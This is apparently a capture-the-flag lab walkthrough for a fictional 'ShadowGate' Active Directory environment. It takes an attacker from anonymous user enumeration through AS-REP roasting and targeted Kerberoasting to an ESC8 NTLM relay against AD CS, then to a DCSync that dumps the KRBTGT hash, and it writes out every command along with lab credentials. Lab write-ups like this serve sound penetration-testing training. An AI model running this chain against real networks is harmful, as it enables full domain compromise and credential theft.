HackSmarter ShadowGates Walkthrough

Scenario :

ShadowGate recently completed a corporate acquisition that significantly expanded its internal network, user base, and application footprint. Several business-critical systems were migrated and consolidated under tight operational deadlines to minimize downtime and maintain service continuity.

While functional validation was completed, the organization deferred a comprehensive security assessment due to delivery pressure and staffing constraints. Leadership has since requested an independent penetration test to validate the security posture of the newly created environment and identify any material risk before the next audit cycle.

The assessment will evaluate whether a motivated attacker with standard network access could compromise sensitive systems, escalate privileges, or move laterally within the enterprise environment.

The Hack Smarter team has been authorized to perform a black box internal penetration test against the ShadowGate environment.

Solution :

First we start with an nmap scan :

nmap -p- -Pn $target -v --min-rate 1000 --max-rtt-timeout 1000ms --max-retries 5 -oN Open_Ports.txt && sleep 5 && nmap -Pn $target -sV -sC -v -oN Nmap_sV_sC_Results.txt && sleep 5 && nmap -T5 -Pn $target -v --script vuln -oN Nmap_Vuln_Results.txt

From the initial scan , we can tell this is an Active Directory machine , port 88 for Kerberos , LDAP on 389 , and DNS , now since it’s AD i will follow this quick checklist for my methdology :

Scan All TCP Ports : Check The useful note Down for more info .
Check ldap , rpc , smb with anonymous access . Check for Public Shares .
Find Usernames : Find usernames in Web Site and generate a Username List maybe . if you get access , Look for usernames using netexec , –rid-brute , –users and enumdomuser with RPC client .
Check usernames found with kerbrute .
Search for ASREP Roastable Users .
Once we have valid Creds : Check Kerberoastable users + Spray the password on all users .
Try to authenticate using every protocol .
Enumerate shares with those Users found . Use netexec to download .
Check Certipy for Vulnerable Templates .
If we get a Shell , try privesc , dump all Hashes using netexec or locally and store into a file .
If we can’t privesc , we can move to Blood Hound .

Now let’s start by enumerating valid usernames through anonymous access across all available protocols. But first let’s add the Hostname , domain name , … to our Hosts file .

nxc smb $target -u '' -p '' --generate-hosts-file hosts

Just add this line to the /etc/hosts file . Now let’s start enumerating valid users .

Perfect , to keep usernames :

nxc smb $target -u '' -p '' --users | awk '{print $5}' | grep -vE '^\[|^-|^$' | tee users.txt

Now that we got out list , we can try ASREPROASTING .

impacket-GetNPUsers  shadow.gate/ -dc-ip $target -usersfile users.txt -outputfile Hashes.txt

Now we can either use Hashcat or John to try and crack the Hash.

We do manage to crack it , i also tried Kerberoasting now that we have valid creds but that didn’t work , let’s check Shares , if we dont find anything we can either test BloodHound , Certipy since there is an ADCS in place , or finally if nothing work try to login if we can via Winrm to try and elevate our privileges to be able to dump hahses . What matters is that we always have something to test or to check so that we don’t get stuck .

Now first thing , i ran certipy to check if our user has any control over a specific template that we can abuse .

certipy-ad find -u 'jtrueblood' -p 'blood_brothers' -dc-ip $target -vulnerable .

Then i decided to run BloodHound just to have a better idea on how the domain is structured , i used netexec as the injestor , then downloaded BloodHound this way :

# To get the ZIP file :
nxc ldap $target -u 'jtrueblood' -p 'blood_brothers' --bloodhound --collection All --dns-server $target
# To run BloodHound : 
https://bloodhound.specterops.io/get-started/quickstart/community-edition-quickstart
wget https://github.com/SpecterOps/bloodhound-cli/releases/latest/download/bloodhound-cli-linux-amd64.tar.gz
tar -xvzf bloodhound-cli-linux-amd64.tar.gz
sudo ./bloodhound-cli install
./bloodhound-cli resetpwd
Visit : http://localhost:8080/ui/login 

Now if we check the Outbount Objects for our user Jtrueblood , we find that we have Generic Write over the user BBROWN .

Now if we check the Shortest way from Owned Objects or simply check the BBrown user’s groups , we will find that he is part of the ADCS Reader group .

Now we can either search how to abuse Generic Write on SpecterOps , or we just check the BloodHound recommendation :

We can attempt Targeted Kerberoasting by forcing an SPN onto a target user account we have write privileges over, then Kerberoast it to obtain a crackable hash useful if the user has a weak password , Now for Targeted Kerberoasting here are the steps to follow :

git clone https://github.com/ShutdownRepo/targetedKerberoast.git 
cd targetedKerberoast.git 
python3 targetedKerberoast.py -v -d "shadow.gate" -u jtrueblood -p "blood_brothers"

If you get a clock skew error, this is expected , it simply means your machine time doesn’t match the DC. Just sync your time to the DC:

sudo rdate -n <DC-IP>

The tool will automatically remove the SPN once it does the kerberoasting . Now let’s try to crack the hash :

Perfect , now we have valid creds we can check using certipy for vulnerable templates .

Perfect we do have an ESC8 Vulnerability since Web Enrollment is enabled over HTTP . Now i decided to follow the guide from Pentest Everything .

https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/adcs/esc8

https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/adcs/esc8

Now first we need to find the ADCS endpoint , in this case we already know it’s the Domain Controller , the default location is certsrv/certfnsh.asp :

impacket-ntlmrelayx -t http://$target/certsrv/certfnsh.asp -smb2support --adcs --template DomainController 

Now for the coercion , i decided to use Netexec .

nxc smb $target -u 'BBROWN' -p '12345678' -M coerce_plus -o LISTENER=Our_IP

It works , now we can request a certificate on Behalf of the coerced account .

certipy auth -pfx ./DC01.shadow.gate.pfx -dc-ip $target

Now we can use this Hash to perform a DC Sync . ( The Hash we got is the DC$ machine account so it has enough privileges to perform a DCSync)

impacket-secretsdump 'DC01$'@$target -hashes :57867e655d1abc9f45fd6e954e351531

The Flag is the KRBTGT Hash .

That was it for this lab . See you in the next one :)